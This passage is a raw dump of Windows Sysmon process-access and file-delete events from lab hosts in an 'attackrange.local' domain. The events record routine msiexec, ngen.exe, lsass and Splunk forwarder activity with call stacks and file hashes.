10341000x800000000000000038632Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:42.194{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F1E-613B-2B07-00000000F001}6200C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000038631Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:42.163{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F1E-613B-2A07-00000000F001}5916c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000038630Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:42.163{7BD73061-6E8E-613B-1307-00000000F001}38364724c:\Windows\syswow64\MsiExec.exe{7BD73061-6F1E-613B-2A07-00000000F001}5916c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Installer\MSIE238.tmp+4f2c(wow64)|C:\Windows\Installer\MSIE238.tmp+122f(wow64)|C:\Windows\System32\msi.dll+a9703(wow64)|C:\Windows\System32\msi.dll+1800e6(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 23542300x800000000000000038629Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:42.163{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\Installer\MSIE227.tmpMD5=FCCDC45CA17E5180B40EFC28052BAC39,SHA256=4AB37B0F9C5FE3505E1ECFE0764AAA04838CF81F9E0A402425E057F7A251E621,IMPHASH=620AD7AB8901854C91622E052544AEE7truetrue 23542300x800000000000000038628Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:42.147{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=764CB91077D28BB9FE5BB11D99B2EAB7,SHA256=6992A633EB6F51EF1D6374728BCD26E9EB2D58A4F7304AFEA59D8E2B5A6C7040,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038627Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:42.132{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\Temp\~DFF5BA49B94BF0EA81.TMPMD5=BF619EAC0CDF3F68D496EA9344137E8B,SHA256=076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560,IMPHASH=00000000000000000000000000000000falsefalse - shredded file with pattern 0x00 23542300x800000000000000038626Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:42.132{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\Temp\~DFAA8C4C528D4424C5.TMPMD5=FAAE370EF628456540A38FE31604EC41,SHA256=4C64E11146D1CD962DCF3554F0F986E2DB9D7944C037FC4AEF0F94AC5A1818C0,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038625Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:42.116{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\Temp\~DF41CFE46C02D30252.TMPMD5=BF619EAC0CDF3F68D496EA9344137E8B,SHA256=076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560,IMPHASH=00000000000000000000000000000000falsefalse - shredded file with pattern 0x00 23542300x800000000000000038624Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:42.116{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\Temp\~DFC4523F9E2B047DDB.TMPMD5=FAAE370EF628456540A38FE31604EC41,SHA256=4C64E11146D1CD962DCF3554F0F986E2DB9D7944C037FC4AEF0F94AC5A1818C0,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038623Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:42.116{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\Installer\MSIB5DE.tmpMD5=ED87082EC137E670EAEC047EE76B0F67,SHA256=AA5F75E874B7E647FA3EEC96709140749D50DBB4205B5CC5B38E7BB965F4E00B,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000013767Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:43.426{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=00EDEFD9EEF9E23CBF32A4B18D044F59,SHA256=3B6AD7DFBB17DF6AA08AF69C0C69531CE218D72AD6C52A123D2DEF9B22B04371,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000038889Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.991{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-6F1F-613B-7707-00000000F001}6024c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038888Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.991{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-6F1F-613B-7707-00000000F001}6024c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038887Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.975{7BD73061-6F1F-613B-7807-00000000F001}67444676C:\Windows\system32\conhost.exe{7BD73061-6F1F-613B-7707-00000000F001}6024c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038886Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.960{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F1F-613B-7807-00000000F001}6744C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000038885Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.960{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F1F-613B-7707-00000000F001}6024c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000038884Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.960{7BD73061-6E8E-613B-1307-00000000F001}38364724c:\Windows\syswow64\MsiExec.exe{7BD73061-6F1F-613B-7707-00000000F001}6024c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Installer\MSIE238.tmp+4f2c(wow64)|C:\Windows\Installer\MSIE238.tmp+122f(wow64)|C:\Windows\System32\msi.dll+a9703(wow64)|C:\Windows\System32\msi.dll+1800e6(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 10341000x800000000000000038883Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.944{7BD73061-65B0-613B-0B00-00000000F001}620748C:\Windows\system32\lsass.exe{7BD73061-6F1F-613B-7507-00000000F001}5488c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038882Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.944{7BD73061-65B0-613B-0B00-00000000F001}620748C:\Windows\system32\lsass.exe{7BD73061-6F1F-613B-7507-00000000F001}5488c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038881Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.929{7BD73061-6F1F-613B-7607-00000000F001}55804364C:\Windows\system32\conhost.exe{7BD73061-6F1F-613B-7507-00000000F001}5488c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038880Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.929{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F1F-613B-7607-00000000F001}5580C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000038879Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.913{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F1F-613B-7507-00000000F001}5488c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000038878Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.913{7BD73061-6E8E-613B-1307-00000000F001}38364724c:\Windows\syswow64\MsiExec.exe{7BD73061-6F1F-613B-7507-00000000F001}5488c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Installer\MSIE238.tmp+4f2c(wow64)|C:\Windows\Installer\MSIE238.tmp+122f(wow64)|C:\Windows\System32\msi.dll+a9703(wow64)|C:\Windows\System32\msi.dll+1800e6(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 10341000x800000000000000038877Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.913{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-6F1F-613B-7307-00000000F001}6632c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038876Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.913{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-6F1F-613B-7307-00000000F001}6632c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000038875Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.913{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=BA914D5D673DEC63FAD1C2533175BF8A,SHA256=6854DE86341B237E6BE76EAD28E048647B93EA2FFFA5E03EEC9A0EA12DD8B3AF,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000038874Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.897{7BD73061-6F1F-613B-7407-00000000F001}59484028C:\Windows\system32\conhost.exe{7BD73061-6F1F-613B-7307-00000000F001}6632c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038873Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.882{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F1F-613B-7407-00000000F001}5948C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000038872Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.882{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F1F-613B-7307-00000000F001}6632c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000038871Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.882{7BD73061-6E8E-613B-1307-00000000F001}38364724c:\Windows\syswow64\MsiExec.exe{7BD73061-6F1F-613B-7307-00000000F001}6632c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Installer\MSIE238.tmp+4f2c(wow64)|C:\Windows\Installer\MSIE238.tmp+122f(wow64)|C:\Windows\System32\msi.dll+a9703(wow64)|C:\Windows\System32\msi.dll+1800e6(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 10341000x800000000000000038870Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.866{7BD73061-65B0-613B-0B00-00000000F001}620748C:\Windows\system32\lsass.exe{7BD73061-6F1F-613B-7107-00000000F001}1380c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038869Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.866{7BD73061-65B0-613B-0B00-00000000F001}620748C:\Windows\system32\lsass.exe{7BD73061-6F1F-613B-7107-00000000F001}1380c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038868Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.850{7BD73061-6F1F-613B-7207-00000000F001}54242380C:\Windows\system32\conhost.exe{7BD73061-6F1F-613B-7107-00000000F001}1380c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038867Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.850{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F1F-613B-7207-00000000F001}5424C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000038866Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.835{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F1F-613B-7107-00000000F001}1380c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000038865Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 